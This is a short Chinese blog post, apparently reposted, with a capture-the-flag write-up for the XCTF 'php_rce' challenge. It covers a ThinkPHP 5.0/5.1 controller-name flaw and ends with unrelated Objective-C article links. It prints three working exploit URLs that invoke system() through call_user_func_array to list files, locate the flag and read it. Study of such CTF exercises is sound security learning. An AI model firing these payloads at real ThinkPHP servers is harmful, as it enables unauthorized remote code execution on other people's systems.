博客
关于我
XCTF web php_rce (thinkphp)
阅读量:326 次
发布时间:2019-03-04

本文共 466 字,大约阅读时间需要 1 分钟。

thinkphp 5.0和5.1版本存在一个getshell漏洞,主要原因在于框架对控制器名的检测不够严格。当强制路由未开启时,可能导致未授权的代码执行。以下是相关测试步骤和发现过程:

测试是否存在漏洞:?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls此请求成功返回信息,确认存在漏洞。

进一步查找flag文件:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"通过查询发现相关flag文件。

查看文件信息:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag成功读取flag文件内容。

转载地址:http://gznh.baihongyu.com/

你可能感兴趣的文章
Objective-C实现整数N以内的质数算法(附完整源码)
查看>>
Objective-C实现文件传输(附完整源码)
查看>>
Objective-C实现文件分割(附完整源码)
查看>>
Objective-C实现文件拷贝(附完整源码)
查看>>
Objective-C实现文件断点传输(附完整源码)
查看>>
Objective-C实现文件的删除、复制与重命名操作实例(附完整源码)
查看>>
Objective-C实现无序表查找算法(附完整源码)
查看>>
Objective-C实现无锁链表(附完整源码)
查看>>
Objective-C实现无锁链表(附完整源码)
查看>>
Objective-C实现时间戳转为年月日时分秒(附完整源码)
查看>>
Objective-C实现是否为 Pythagoreantriplet 毕氏三元数组算法(附完整源码)
查看>>
Objective-C实现显示响应算法(附完整源码)
查看>>
Objective-C实现晚捆绑测试实例(附完整源码)
查看>>
Objective-C实现普通矩阵A和B的乘积(附完整源码)
查看>>
Objective-C实现更新数字指定偏移量上的值updateBit算法(附完整源码)
查看>>
Objective-C实现最优二叉搜索树算法(附完整源码)
查看>>
Objective-C实现最大和连续子序列算法(附完整源码)
查看>>
Objective-C实现最大最小距离算法(附完整源码)
查看>>
Objective-C实现最大的非常大的数字算法(附完整源码)
查看>>
Objective-C实现最大类间方差法OTSU算法(附完整源码)
查看>>